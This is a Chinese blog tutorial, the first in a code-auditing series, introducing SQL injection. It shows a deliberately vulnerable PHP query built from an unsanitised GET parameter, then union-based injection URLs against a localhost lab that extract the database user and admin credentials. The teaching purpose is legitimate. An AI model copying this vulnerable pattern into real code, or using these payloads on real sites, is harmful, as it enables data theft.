欢迎光临
我们一直在努力

代码审计的艺术系列-第一篇

作者:HackBraid

0x02 准备

知识储备:php基础、MySql入门
工具:notepad++
服务器环境:wamp
测试代码和sql:http://pan.baidu.com/s/1eRIReOa

0x03 代码审计脑图

总结好的审计脑图如下:

脑图主要总结了SQL注入、代码&&命令执行、文件操作相关以及设计缺陷四种常见漏洞,每种漏洞又有很多种情况和案例,所以后面的文章会陆续把这些做成案例分享给大家。这篇首先介绍一下SQL注入漏洞。

0x04 SQL注入入门

现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。
Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:

<?php
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET['id']) ? $_GET['id'] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>

浏览器输入:http://localhost/sqltest/news.php?id=1 ,发现输出了一条新闻的标题和内容如下图:

然后我们输入”http://localhost/sqltest/news.php?id=1 and 1=1”,发现返回了跟上面一样的结果,然后我们查了下sql查询的日志,成功执行的sql语句如下:

SELECT * FROM news WHERE id=1 and 1=1

然后看了下数据库表news里有三个字段,我们构造一个union联合查询的语句”http://localhost/sqltest/news.php?id=-1 union select 1,2,3”,页面输出了2和3:

对应执行的sql语句:

SELECT * FROM news WHERE id=-1 union select 1,2,3
2和3都是输出点,我们可以构造获取MySql数据库的用户名的语句”http://localhost/sqltest/news.php?id=-1union select 1,user(),3”,页面输出了root@localhost:

对应执行的sql语句:

SELECT * FROM news WHERE id=-1 union select 1,user(),3
进一步观察数据库,发现除了news表外还有个admin表,我们可以构造获取管理员账户密码的语句”http://localhost/sqltest/news.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin”

对应执行的sql语句:

SELECT * FROM news WHERE id=-1 union select 1,2,concat(name,0x23,pass) from admin

未经允许不得转载:Caldow » 代码审计的艺术系列-第一篇
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活